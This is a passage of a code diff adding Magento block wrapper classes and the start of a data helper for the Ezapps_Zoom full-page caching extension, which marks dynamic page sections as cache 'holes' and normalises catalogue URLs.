((trim($html) != "" && Mage::helper('ezzoom')->punchStatus($this->_key) == 1) || Mage::helper('ezzoom')->punchStatus($this->_key) == 2)) {
|
39 |
+
$name = (Mage::helper('ezzoom')->getConfigData('zoom_lite') ? $this->getTemplate() : $this->getNameInLayout());
|
40 |
+
return Mage::helper('ezzoom')->renderHoleStart($this->_key, $name) . parent::_afterToHtml($html) . Mage::helper('ezzoom')->renderHoleEnd($this->_key, $name);
|
41 |
+
}
|
42 |
+
else
|
43 |
+
return parent::_afterToHtml($html);
|
44 |
+
}
|
45 |
+
|
46 |
+
public function setCacheTag($status) {
|
47 |
+
|
48 |
+
$this->_cache_tag = $status;
|
49 |
+
return $this;
|
50 |
+
|
51 |
+
}
|
52 |
+
|
53 |
+
public function getCacheTag() {
|
54 |
+
|
55 |
+
return $this->_cache_tag;
|
56 |
+
|
57 |
+
}
|
58 |
+
|
59 |
+
public function addLinkBlock($blockName, $position_override = null)
|
60 |
+
{
|
61 |
+
$block = $this->getLayout()->getBlock($blockName);
|
62 |
+
if ($position_override) {
|
63 |
+
$this->_links[$this->_getNewPosition((int)$position_override)] = $block;
|
64 |
+
} else
|
65 |
+
$this->_links[$this->_getNewPosition((int)$block->getPosition())] = $block;
|
66 |
+
return $this;
|
67 |
+
}
|
68 |
+
|
69 |
+
public function moveLinkByUrl($url, $new_position)
|
70 |
+
{
|
71 |
+
foreach ($this->_links as $k => $v) {
|
72 |
+
if ($v->getUrl() == $url) {
|
73 |
+
unset($this->_links[$k]);
|
74 |
+
$this->_links[$this->_getNewPosition((int)$new_position)] = $v;
|
75 |
+
ksort($this->_links);
|
76 |
+
}
|
77 |
+
}
|
78 |
+
|
79 |
+
return $this;
|
80 |
+
}
|
81 |
+
|
82 |
+
|
83 |
+
|
84 |
+
}
|
app/code/local/Ezapps/Zoom/Block/Wrapper/Messages.php
ADDED
@@ -0,0 +1,64 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
+
<?php
|
2 |
+
|
3 |
+
/**
|
4 |
+
* Block Wrapper for hole punching
|
5 |
+
*
|
6 |
+
* @category Ezapps
|
7 |
+
* @package Ezapps_Zoom
|
8 |
+
* @author Ezra Morse (http://www.ezapps.ca)
|
9 |
+
* @license: EPL 1.0
|
10 |
+
*/
|
11 |
+
|
12 |
+
class Ezapps_Zoom_Block_Wrapper_Messages extends Mage_Core_Block_Messages
|
13 |
+
{
|
14 |
+
/**
|
15 |
+
* Initialize object
|
16 |
+
*
|
17 |
+
* @return void
|
18 |
+
*/
|
19 |
+
|
20 |
+
private $_key = 'messages';
|
21 |
+
private $_cache_tag = true;
|
22 |
+
private $_rendered = false;
|
23 |
+
|
24 |
+
public function __construct()
|
25 |
+
{
|
26 |
+
$this->setHtmlId($this->_key);
|
27 |
+
parent::__construct();
|
28 |
+
}
|
29 |
+
|
30 |
+
public function _afterToHtml($html)
|
31 |
+
{
|
32 |
+
if ($this->_rendered != true && $this->getCacheTag() && ((trim($html) != "" && Mage::helper('ezzoom')->punchStatus($this->_key) == 1) || Mage::helper('ezzoom')->punchStatus($this->_key) == 2)) {
|
33 |
+
$name = (Mage::helper('ezzoom')->getConfigData('zoom_lite') ? $this->getTemplate() : $this->getNameInLayout());
|
34 |
+
$this->_rendered = true;
|
35 |
+
return Mage::helper('ezzoom')->renderHoleStart($this->_key, $name) . parent::_afterToHtml($html) . Mage::helper('ezzoom')->renderHoleEnd($this->_key, $name);
|
36 |
+
} else
|
37 |
+
return parent::_afterToHtml($html);
|
38 |
+
}
|
39 |
+
|
40 |
+
public function GetGroupedHtml()
|
41 |
+
{
|
42 |
+
|
43 |
+
$html = parent::GetGroupedHtml();
|
44 |
+
if ($this->_rendered != true && $this->getCacheTag() && ((trim($html) != "" && Mage::helper('ezzoom')->punchStatus($this->_key) == 1) || Mage::helper('ezzoom')->punchStatus($this->_key) == 2)) {
|
45 |
+
$name = (Mage::helper('ezzoom')->getConfigData('zoom_lite') ? $this->getTemplate() : $this->getNameInLayout()) . ',getGroupedHtml';
|
46 |
+
$this->_rendered = true;
|
47 |
+
return Mage::helper('ezzoom')->renderHoleStart($this->_key, $name) . parent::_afterToHtml($html) . Mage::helper('ezzoom')->renderHoleEnd($this->_key, $name);
|
48 |
+
} else
|
49 |
+
return $html;
|
50 |
+
}
|
51 |
+
|
52 |
+
public function setCacheTag($status) {
|
53 |
+
|
54 |
+
$this->_cache_tag = $status;
|
55 |
+
return $this;
|
56 |
+
|
57 |
+
}
|
58 |
+
|
59 |
+
public function getCacheTag() {
|
60 |
+
|
61 |
+
return $this->_cache_tag;
|
62 |
+
|
63 |
+
}
|
64 |
+
}
|
app/code/local/Ezapps/Zoom/Block/Wrapper/Notices.php
ADDED
@@ -0,0 +1,51 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
+
<?php
|
2 |
+
|
3 |
+
/**
|
4 |
+
* Block Wrapper for hole punching
|
5 |
+
*
|
6 |
+
* @category Ezapps
|
7 |
+
* @package Ezapps_Zoom
|
8 |
+
* @author Ezra Morse (http://www.ezapps.ca)
|
9 |
+
* @license: EPL 1.0
|
10 |
+
*/
|
11 |
+
|
12 |
+
class Ezapps_Zoom_Block_Wrapper_Notices extends Mage_Page_Block_Html_Notices
|
13 |
+
{
|
14 |
+
/**
|
15 |
+
* Initialize object
|
16 |
+
*
|
17 |
+
* @return void
|
18 |
+
*/
|
19 |
+
|
20 |
+
private $_key = 'notices';
|
21 |
+
private $_cache_tag = true;
|
22 |
+
|
23 |
+
public function __construct()
|
24 |
+
{
|
25 |
+
$this->setHtmlId($this->_key);
|
26 |
+
parent::__construct();
|
27 |
+
}
|
28 |
+
|
29 |
+
public function _afterToHtml($html)
|
30 |
+
{
|
31 |
+
|
32 |
+
if ($this->getCacheTag() && ((trim($html) != "" && Mage::helper('ezzoom')->punchStatus($this->_key) == 1) || Mage::helper('ezzoom')->punchStatus($this->_key) == 2)) {
|
33 |
+
$name = (Mage::helper('ezzoom')->getConfigData('zoom_lite') ? $this->getTemplate() : $this->getNameInLayout());
|
34 |
+
return Mage::helper('ezzoom')->renderHoleStart($this->_key, $name) . parent::_afterToHtml($html) . Mage::helper('ezzoom')->renderHoleEnd($this->_key, $name);
|
35 |
+
} else
|
36 |
+
return parent::_afterToHtml($html);
|
37 |
+
}
|
38 |
+
|
39 |
+
public function setCacheTag($status) {
|
40 |
+
|
41 |
+
$this->_cache_tag = $status;
|
42 |
+
return $this;
|
43 |
+
|
44 |
+
}
|
45 |
+
|
46 |
+
public function getCacheTag() {
|
47 |
+
|
48 |
+
return $this->_cache_tag;
|
49 |
+
|
50 |
+
}
|
51 |
+
}
|
app/code/local/Ezapps/Zoom/Block/Wrapper/Poll.php
ADDED
@@ -0,0 +1,61 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
+
<?php
|
2 |
+
|
3 |
+
/**
|
4 |
+
* Block Wrapper for hole punching
|
5 |
+
*
|
6 |
+
* @category Ezapps
|
7 |
+
* @package Ezapps_Zoom
|
8 |
+
* @author Ezra Morse (http://www.ezapps.ca)
|
9 |
+
* @license: EPL 1.0
|
10 |
+
*/
|
11 |
+
|
12 |
+
class Ezapps_Zoom_Block_Wrapper_Poll extends Mage_Poll_Block_ActivePoll
|
13 |
+
{
|
14 |
+
/**
|
15 |
+
* Initialize object
|
16 |
+
*
|
17 |
+
* @return void
|
18 |
+
*/
|
19 |
+
|
20 |
+
private $_key = 'poll';
|
21 |
+
private $_cache_tag = true;
|
22 |
+
|
23 |
+
public function __construct()
|
24 |
+
{
|
25 |
+
$this->setHtmlId($this->_key);
|
26 |
+
parent::__construct();
|
27 |
+
}
|
28 |
+
|
29 |
+
public function _afterToHtml($html)
|
30 |
+
{
|
31 |
+
|
32 |
+
if ($this->getCacheTag() && ((trim($html) != "" && Mage::helper('ezzoom')->punchStatus($this->_key) == 1) || Mage::helper('ezzoom')->punchStatus($this->_key) == 2)) {
|
33 |
+
$name = (Mage::helper('ezzoom')->getConfigData('zoom_lite') ? $this->getTemplate() : $this->getNameInLayout());
|
34 |
+
return Mage::helper('ezzoom')->renderHoleStart($this->_key, $name) . parent::_afterToHtml($html) . Mage::helper('ezzoom')->renderHoleEnd($this->_key, $name);
|
35 |
+
}
|
36 |
+
else
|
37 |
+
return parent::_afterToHtml($html);
|
38 |
+
}
|
39 |
+
|
40 |
+
public function setCacheTag($status) {
|
41 |
+
|
42 |
+
$this->_cache_tag = $status;
|
43 |
+
return $this;
|
44 |
+
|
45 |
+
}
|
46 |
+
|
47 |
+
public function deprecated_beforeToHtml() {
|
48 |
+
|
49 |
+
if (Mage::getSingleton('core/session')->getJustVotedPoll() > 0)
|
50 |
+
Mage::getSingleton('core/session')->setZoomRecentVote(Mage::getSingleton('core/session')->getJustVotedPoll());
|
51 |
+
|
52 |
+
parent::_beforeToHtml($html);
|
53 |
+
|
54 |
+
}
|
55 |
+
|
56 |
+
public function getCacheTag() {
|
57 |
+
|
58 |
+
return $this->_cache_tag;
|
59 |
+
|
60 |
+
}
|
61 |
+
}
|
app/code/local/Ezapps/Zoom/Block/Wrapper/Reorder.php
ADDED
@@ -0,0 +1,50 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
+
<?php
|
2 |
+
|
3 |
+
/**
|
4 |
+
* Block Wrapper for hole punching
|
5 |
+
*
|
6 |
+
* @category Ezapps
|
7 |
+
* @package Ezapps_Zoom
|
8 |
+
* @author Ezra Morse (http://www.ezapps.ca)
|
9 |
+
* @license: EPL 1.0
|
10 |
+
*/
|
11 |
+
|
12 |
+
class Ezapps_Zoom_Block_Wrapper_Reorder extends Mage_Sales_Block_Reorder_Sidebar
|
13 |
+
{
|
14 |
+
/**
|
15 |
+
* Initialize object
|
16 |
+
*
|
17 |
+
* @return void
|
18 |
+
*/
|
19 |
+
|
20 |
+
private $_key = 'reorder';
|
21 |
+
private $_cache_tag = true;
|
22 |
+
|
23 |
+
public function __construct()
|
24 |
+
{
|
25 |
+
$this->setHtmlId($this->_key);
|
26 |
+
parent::__construct();
|
27 |
+
}
|
28 |
+
|
29 |
+
public function _afterToHtml($html)
|
30 |
+
{
|
31 |
+
if ($this->getCacheTag() && ((trim($html) != "" && Mage::helper('ezzoom')->punchStatus($this->_key) == 1) || Mage::helper('ezzoom')->punchStatus($this->_key) == 2)) {
|
32 |
+
$name = (Mage::helper('ezzoom')->getConfigData('zoom_lite') ? $this->getTemplate() : $this->getNameInLayout());
|
33 |
+
return Mage::helper('ezzoom')->renderHoleStart($this->_key, $name) . parent::_afterToHtml($html) . Mage::helper('ezzoom')->renderHoleEnd($this->_key, $name);
|
34 |
+
} else
|
35 |
+
return parent::_afterToHtml($html);
|
36 |
+
}
|
37 |
+
|
38 |
+
public function setCacheTag($status) {
|
39 |
+
|
40 |
+
$this->_cache_tag = $status;
|
41 |
+
return $this;
|
42 |
+
|
43 |
+
}
|
44 |
+
|
45 |
+
public function getCacheTag() {
|
46 |
+
|
47 |
+
return $this->_cache_tag;
|
48 |
+
|
49 |
+
}
|
50 |
+
}
|
app/code/local/Ezapps/Zoom/Block/Wrapper/Viewed.php
ADDED
@@ -0,0 +1,51 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
+
<?php
|
2 |
+
|
3 |
+
/**
|
4 |
+
* Block Wrapper for hole punching
|
5 |
+
*
|
6 |
+
* @category Ezapps
|
7 |
+
* @package Ezapps_Zoom
|
8 |
+
* @author Ezra Morse (http://www.ezapps.ca)
|
9 |
+
* @license: EPL 1.0
|
10 |
+
*/
|
11 |
+
|
12 |
+
class Ezapps_Zoom_Block_Wrapper_Viewed extends Mage_Reports_Block_Product_Viewed
|
13 |
+
{
|
14 |
+
/**
|
15 |
+
* Initialize object
|
16 |
+
*
|
17 |
+
* @return void
|
18 |
+
*/
|
19 |
+
|
20 |
+
private $_key = 'viewed';
|
21 |
+
private $_cache_tag = true;
|
22 |
+
|
23 |
+
public function __construct()
|
24 |
+
{
|
25 |
+
$this->setHtmlId($this->_key);
|
26 |
+
parent::__construct();
|
27 |
+
}
|
28 |
+
|
29 |
+
public function _afterToHtml($html)
|
30 |
+
{
|
31 |
+
if ($this->getCacheTag() && ((trim($html) != "" && Mage::helper('ezzoom')->punchStatus($this->_key) == 1) || Mage::helper('ezzoom')->punchStatus($this->_key) == 2)) {
|
32 |
+
$name = (Mage::helper('ezzoom')->getConfigData('zoom_lite') ? $this->getTemplate() : $this->getNameInLayout());
|
33 |
+
return Mage::helper('ezzoom')->renderHoleStart($this->_key, $name) . parent::_afterToHtml($html) . Mage::helper('ezzoom')->renderHoleEnd($this->_key, $name);
|
34 |
+
}
|
35 |
+
else
|
36 |
+
return parent::_afterToHtml($html);
|
37 |
+
}
|
38 |
+
|
39 |
+
public function setCacheTag($status) {
|
40 |
+
|
41 |
+
$this->_cache_tag = $status;
|
42 |
+
return $this;
|
43 |
+
|
44 |
+
}
|
45 |
+
|
46 |
+
public function getCacheTag() {
|
47 |
+
|
48 |
+
return $this->_cache_tag;
|
49 |
+
|
50 |
+
}
|
51 |
+
}
|
app/code/local/Ezapps/Zoom/Block/Wrapper/Wishlist.php
ADDED
@@ -0,0 +1,51 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
+
<?php
|
2 |
+
|
3 |
+
/**
|
4 |
+
* Block Wrapper for hole punching
|
5 |
+
*
|
6 |
+
* @category Ezapps
|
7 |
+
* @package Ezapps_Zoom
|
8 |
+
* @author Ezra Morse (http://www.ezapps.ca)
|
9 |
+
* @license: EPL 1.0
|
10 |
+
*/
|
11 |
+
|
12 |
+
class Ezapps_Zoom_Block_Wrapper_Wishlist extends Mage_Wishlist_Block_Customer_Sidebar
|
13 |
+
{
|
14 |
+
/**
|
15 |
+
* Initialize object
|
16 |
+
*
|
17 |
+
* @return void
|
18 |
+
*/
|
19 |
+
|
20 |
+
private $_key = 'wishlist';
|
21 |
+
private $_cache_tag = true;
|
22 |
+
|
23 |
+
public function __construct()
|
24 |
+
{
|
25 |
+
$this->setHtmlId($this->_key);
|
26 |
+
parent::__construct();
|
27 |
+
}
|
28 |
+
|
29 |
+
public function _afterToHtml($html)
|
30 |
+
{
|
31 |
+
if ($this->getCacheTag() && ((trim($html) != "" && Mage::helper('ezzoom')->punchStatus($this->_key) == 1) || Mage::helper('ezzoom')->punchStatus($this->_key) == 2)) {
|
32 |
+
$name = (Mage::helper('ezzoom')->getConfigData('zoom_lite') ? $this->getTemplate() : $this->getNameInLayout());
|
33 |
+
return Mage::helper('ezzoom')->renderHoleStart($this->_key, $name) . parent::_afterToHtml($html) . Mage::helper('ezzoom')->renderHoleEnd($this->_key, $name);
|
34 |
+
}
|
35 |
+
else
|
36 |
+
return parent::_afterToHtml($html);
|
37 |
+
}
|
38 |
+
|
39 |
+
public function setCacheTag($status) {
|
40 |
+
|
41 |
+
$this->_cache_tag = $status;
|
42 |
+
return $this;
|
43 |
+
|
44 |
+
}
|
45 |
+
|
46 |
+
public function getCacheTag() {
|
47 |
+
|
48 |
+
return $this->_cache_tag;
|
49 |
+
|
50 |
+
}
|
51 |
+
}
|
app/code/local/Ezapps/Zoom/Helper/Data.php
ADDED
@@ -0,0 +1,870 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
+
<?php
|
2 |
+
|
3 |
+
/**
|
4 |
+
* Zoom data helper
|
5 |
+
*
|
6 |
+
* @category Ezapps
|
7 |
+
* @package Ezapps_Zoom
|
8 |
+
* @author Ezra Morse (http://www.ezapps.ca)
|
9 |
+
* @license: EPL 1.0
|
10 |
+
*/
|
11 |
+
|
12 |
+
class Ezapps_Zoom_Helper_Data extends Mage_Core_Helper_Abstract
|
13 |
+
{
|
14 |
+
|
15 |
+
private $_holes = array();
|
16 |
+
private $_key = 'ezzoom_general';
|
17 |
+
private $_config = array();
|
18 |
+
private $_save_rewrites = array();
|
19 |
+
private $_matched_page = null;
|
20 |
+
private $_ttl = 0;
|
21 |
+
|
22 |
+
private $_rewrite_package = '';
|
23 |
+
private $_rewrite_template = '';
|
24 |
+
private $_rewrite_theme = '';
|
25 |
+
private $_render_time = 0;
|
26 |
+
private $_file_name = 0;
|
27 |
+
private $_zoom_handler_data = array();
|
28 |
+
private $_zoom_handler_backup = null;
|
29 |
+
private $_helper_toolbar = null;
|
30 |
+
private $_helper_toolbar_state = null;
|
31 |
+
private $_cache_match = true;
|
32 |
+
private $_tool_bar_finder = true;
|
33 |
+
|
34 |
+
public function getCurrencyInfo() {
|
35 |
+
|
36 |
+
$session = Mage::getSingleton('customer/session');
|
37 |
+
|
38 |
+
$result = array();
|
39 |
+
|
40 |
+
if ($this->getConfigData('punch_currency', 'holepunch') > 0) {
|
41 |
+
$userCode = $session->getMaskedCurrency();
|
42 |
+
$baseCode = Mage::app()->getStore()->getBaseCurrencyCode();
|
43 |
+
if ($userCode != '' && $userCode != $baseCode) {
|
44 |
+
$userCurrency = Mage::getModel('directory/currency')->load($userCode);
|
45 |
+
$baseCurrency = Mage::app()->getStore()->getBaseCurrency();
|
46 |
+
|
47 |
+
$js_string = Mage::app()->getLocale()->getJsPriceFormat();
|
48 |
+
$js_string['pattern'] = $userCurrency->getOutputFormat();
|
49 |
+
$result['conversionRate'] = $baseCurrency->convert(1.00, $userCurrency);
|
50 |
+
$result['userTemplate'] = str_replace('%s', '#{price}', $userCurrency->getOutputFormat());
|
51 |
+
$result['format'] = $js_string;
|
52 |
+
}
|
53 |
+
}
|
54 |
+
|
55 |
+
return $result;
|
56 |
+
|
57 |
+
}
|
58 |
+
|
59 |
+
public function processUrl($routePath = null, $routeParams = null) {
|
60 |
+
|
61 |
+
|
62 |
+
$no_reorder = false;
|
63 |
+
|
64 |
+
if ($this->matchedPage() && $this->_tool_bar_finder && $routePath == '*/*/*' && ((is_object(Mage::getSingleton('core/layout')->getBlock("product_list_toolbar"))
|
65 |
+
|| Mage::registry('current_category')) && !Mage::registry('current_product'))) {
|
66 |
+
|
67 |
+
$state = $this->getToolbarState();
|
68 |
+
|
69 |
+
if ($state && ($this->getConfigData('normalize_urls') || $this->getConfigData('friendly_urls'))) {
|
70 |
+
|
71 |
+
|
72 |
+
$merge_controls = false;
|
73 |
+
$default_state = true;
|
74 |
+
|
75 |
+
if (!array_key_exists('_query', $routeParams))
|
76 |
+
$routeParams['_query'] = array();
|
77 |
+
|
78 |
+
list($page_name) = array_keys($state['page']);
|
79 |
+
if (array_key_exists($page_name, $routeParams['_query']) && is_null($routeParams['_query'][$page_name]))
|
80 |
+
$routeParams['_query'][$page_name] = 1;
|
81 |
+
|
82 |
+
$params = array_merge($state['page'], $state['control']);
|
83 |
+
|
84 |
+
foreach ($state['filters'] as $key => $value) {
|
85 |
+
if (array_key_exists($key, $routeParams['_query'])) {
|
86 |
+
|
87 |
+
$params[$key] = $routeParams['_query'][$key];
|
88 |
+
$merge_controls = true;
|
89 |
+
} else if (!empty($value)) {
|
90 |
+
$params[$key] = $value;
|
91 |
+
}
|
92 |
+
}
|
93 |
+
|
94 |
+
$routeParams['_query'] = array_merge($params, $routeParams['_query']);
|
95 |
+
|
96 |
+
|
97 |
+
foreach ($state['default'] as $key => $value)
|
98 |
+
if ($value != $routeParams['_query'][$key]) {
|
99 |
+
$default_state = false;
|
100 |
+
break;
|
101 |
+
}
|
102 |
+
|
103 |
+
if ($default_state == true)
|
104 |
+
foreach ($state['default'] as $key => $value)
|
105 |
+
if ($value != $state['control'][$key]) {
|
106 |
+
$default_state = false;
|
107 |
+
break;
|
108 |
+
}
|
109 |
+
|
110 |
+
if ($default_state == true && !$merge_controls) {
|
111 |
+
if (array_key_exists($page_name, $routeParams['_query'])
|
112 |
+
&& $routeParams['_query'][$page_name] == 1)
|
113 |
+
$routeParams['_query'][$page_name] = null;
|
114 |
+
else
|
115 |
+
$routeParams['_query'] = array_merge($state['page'], $routeParams['_query']);
|
116 |
+
|
117 |
+
foreach ($state['control'] as $key => $value)
|
118 |
+
$routeParams['_query'][$key] = null;
|
119 |
+
|
120 |
+
foreach ($state['filters'] as $key => $value)
|
121 |
+
$routeParams['_query'][$key] = null;
|
122 |
+
}
|
123 |
+
|
124 |
+
$no_reorder = true;
|
125 |
+
$routeParams['_current'] = false;
|
126 |
+
|
127 |
+
if (count($routeParams['_query']) < 1)
|
128 |
+
unset($routeParams['_query']);
|
129 |
+
|
130 |
+
if ($this->getConfigData('friendly_urls')) {
|
131 |
+
|
132 |
+
$query = "";
|
133 |
+
foreach ($routeParams['_query'] as $key => $value) {
|
134 |
+
if (!is_null($value)) {
|
135 |
+
if (!is_array($value))
|
136 |
+
